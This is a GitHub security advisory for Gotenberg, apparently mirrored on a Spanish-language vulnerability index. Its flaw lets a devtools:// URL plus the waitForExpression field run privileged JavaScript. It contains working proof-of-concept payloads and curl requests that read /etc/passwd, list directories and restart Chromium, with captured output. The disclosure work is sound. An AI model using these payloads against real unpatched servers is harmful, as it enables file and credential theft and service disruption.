GHSA-R8QW-3CGC-WQC9
Default --chromium-deny-list value allows Javascript execution within a privileged Devtools context
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.39.0 | github.com/gotenberg/gotenberg/v8 · -16 d desde divulgación | |
| Divulgación | Publicada | GHSA-R8QW-3CGC-WQC9 divulgada · CVSS 8.6 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
- Gotenberg version tested : 8.37.0 (digest `f29984bd1e226bf1b93ba90af06000afa8b315853e99d27b9aaa41b93f15c769`)
- API Endpoints : ``POST /forms/chromium/convert/url``, ``POST /forms/chromium/screenshot/url``
Gotenberg allows an user to provide an URL to either get a screenshot of a page or convert its contents to a PDF using specific API endpoints. A headless Chromium browser navigates to the URL and renders the result. The scheme filter blocks ``file://`` but not ``devtools://``, one of Chromium's privileged contexts. The ``waitForExpression`` form field, containing a Javascript expression controlled by the user, is then evaluated in that origin, allowing an attacker to execute Javascript within the Devtools context.
Details
Gotenberg provides two API endpoints ``POST /forms/chromium/convert/url`` and ``POST /forms/chromium/screenshot/url`` to respectively convert a target URL to PDF or capture a screenshot of a target URL using Headless Chromium. The URL parameter is required.
``waitForExpression`` is a form field available in both endpoints that pauses the conversion util when the provided Javascript expression evaluates to true within the page context. This verification is done every 100 ms until it returns ``true``, then continues the process.
https://github.com/gotenberg/gotenberg/blob/8b46090eacb02fcc0cf0dd99587a4de4042771a0/pkg/modules/chromium/tasks.go#L688-L728
When a user sends a POST request with at least the URL and ``waitForExpression`` as parameters, the headless browser navigates to that URL, then runs the provided Javascript code in the page.
The default value for the ``--chromium-deny-list`` flag only filters any presence of the `file://` scheme by default. In that case, the `devtools://` scheme can be provided to access a chromium browser's Devtools page. An attacker can use any URL such as the Chromium browser built-in DevTools page (``devtools://devtools/bundled/devtools_app.html``) in the URL form field and force the headless browser to load it.
With the context of this privileged interface (just like using the DevTools console on DevTools and execute JS code there), the attacker can run JS code with `waitForExpression` and use objects such as ``InspectorFrontendHost`` to read any local files readable by the ``gotenberg`` user.
PoC
Start Gotenberg :
docker run --rm -p 3000:3000 gotenberg/gotenberg:8.37.0 gotenberg### Single file read
Create a js file that will be used for `waitForExpression`. This script reads `/etc/passwd` and, if it manages to read its contents, returns it through a console exception. This is one way to return the output without having to create a document. While the contents of the file are not entirely read, it doesn't return true and ends the JS execution.
``payload.js``
(async () => {
let data = '';
DevToolsAPI.streamWrite = function (id, chunk) {
data += chunk;
};
await new Promise(result =>
InspectorFrontendHost.loadNetworkResource('file:///etc/passwd', '', 1, result)
);
setTimeout(() => {
throw new Error(data);
});
return true;
})()Then send a curl request using a `devtools://` app. ``failOnConsoleExceptions`` must be set to true to see the file read result.
curl -s -F 'url=devtools://devtools/bundled/devtools_app.html' \
-F 'failOnConsoleExceptions=true' \
-F 'waitForExpression=<payload.js' \
http://localhost:3000/forms/chromium/convert/urlResult :
Chromium console exceptions:
exception "Uncaught" (11:14): Error: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
gotenberg:x:1001:1001::/home/gotenberg:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:997:997:System Message Bus:/nonexistent:/usr/sbin/nologinDirectory listing
Same payload, but use a directory instead of a specific file.
(async () => {
let data = '';
DevToolsAPI.streamWrite = function (id, chunk) {
data += chunk;
};
await new Promise(result =>
InspectorFrontendHost.loadNetworkResource('file:///etc/', '', 1, result)
);
setTimeout(() => {
throw new Error(data);
});
return true;
})()curl request to return all the files and directories in ``/etc``:
curl -s -F 'url=devtools://devtools/bundled/devtools_app.html' \
-F 'failOnConsoleExceptions=true' \
-F 'waitForExpression=<payload.js' \
http://localhost:3000/forms/chromium/screenshot/urlAt the end of the error message, gotenberg shows each file/directory in each ``addRow``
...
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script>loadTimeData.data = {"header":"Index of LOCATION","headerDateModified":"Date Modified","headerName":"Name","headerSize":"Size","language":"en","parentDirText":"[parent directory]","textdirection":"ltr"};</script><script>start("/etc/");</script>
<script>onHasParentDirectory();</script>
<script>addRow("alternatives","alternatives",1,4096,"4.0 kB",1789137864,"9/11/26, 2:44:24 PM");</script>
<script>addRow("apparmor.d","apparmor.d",1,4096,"4.0 kB",1789137865,"9/11/26, 2:44:25 PM");</script>
<script>addRow("apt","apt",1,4096,"4.0 kB",1789137827,"9/11/26, 2:43:47 PM");</script>
<script>addRow("binfmt.d","binfmt.d",1,4096,"4.0 kB",1776109085,"4/13/26, 7:38:05 PM");</script>
<script>addRow("ca-certificates","ca-certificates",1,4096,"4.0 kB",1788885604,"9/8/26, 4:40:04 PM");</script>
<script>addRow("chromium","chromium",1,4096,"4.0 kB",1789137825,"9/11/26, 2:43:45 PM");</script>
<script>addRow("chromium.d","chromium.d",1,4096,"4.0 kB",1789137825,"9/11/26, 2:43:45 PM");</script>
<script>addRow("credstore","credstore",1,4096,"4.0 kB",1776109085,"4/13/26, 7:38:05 PM");</script>
<script>addRow("credstore.encrypted","credstore.encrypted",1,4096,"4.0 kB",1776109085,"4/13/26, 7:38:05 PM");</script>
<script>addRow("cron.daily","cron.daily",1,4096,"4.0 kB",1787529600,"8/24/26, 12:00:00 AM");</script>
<script>addRow("dbus-1","dbus-1",1,4096,"4.0 kB",1789137808,"9/11/26, 2:43:28 PM");</script>
<script>addRow("dconf","dconf",1,4096,"4.0 kB",1789137815,"9/11/26, 2:43:35 PM");</script>
<script>addRow("default","default",1,4096,"4.0 kB",1789137821,"9/11/26, 2:43:41 PM");</script>
...Restart the browser
A script can also be used to restart the browser process. This can cause minor disturbance. When another user makes an API call at the same time, they can get a timeout too. However this is not permanent, another conversion made right after returns chromium to its normal state. The action can be repeated but it's not a permanent denial of service.
``restart.js``
(async () => {
InspectorFrontendHost.requestRestart();
await new Promise(r => setTimeout(r, 2500));
return true;
})()curl request to restart chromium :
curl -F 'url=devtools://devtools/bundled/devtools_app.html' \
-F 'waitForExpression=<restart.js' \
http://localhost:3000/forms/chromium/screenshot/url
The request exceeded the time limit. Increase it with --api-timeout, or reduce the workload.Another request was made at the same time. It tries to convert a page to a pdf.
curl --request POST http://localhost:3000/forms/chromium/convert/url --form url=http://google.com -o google4.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 259 100 92 100 167 3 5 0:00:33 0:00:30 0:00:03 24
cat google4.pdf
The request exceeded the time limit. Increase it with --api-timeout, or reduce the workload.``http://localhost:3000/health`` shows `down` for a while until another conversion happens.
{"status":"down","details":{"chromium":{"status":"down","timestamp":"2026-10-01T09:28:18.051510062Z","error":"Chromium is unhealthy"},"libreoffice":{"status":"up","timestamp":"2026-10-01T09:28:13.050734047Z"}}}Another request made after the timeout takes some time at first (it tries to restore the browser), then conversion works as usual again.
curl --request POST http://localhost:3000/forms/chromium/convert/url --form url=http://google.com -o google5.pdf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 103k 100 103k 100 167 12123 19 0:00:08 0:00:08 --:--:-- 23728
file google5.pdf
google5.pdf: PDF document, version 1.4, 1 page(s)## Impact
An attacker is able to execute to execute javascript code within the context of a privileged devtools page.
The only significant exploit confirmed so far is an arbitrary file read from the Gotenberg container. The attacker can leak environment variables, configuration, credentials, and other sensitive data like submitted documents.
## References
- https://gotenberg.dev/docs/convert-with-chromium/convert-url-to-pdf
- https://gotenberg.dev/docs/convert-with-chromium/screenshot-url
- https://gotenberg.dev/docs/configuration#chromium
- https://microsoftedge.github.io/edgevr/posts/attacking-the-devtools/#read-local-files
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.39.0 | -16 d | v8.40.0 no afectada |
8.39.0v8.39.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r8qw-3cgc-wqc9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
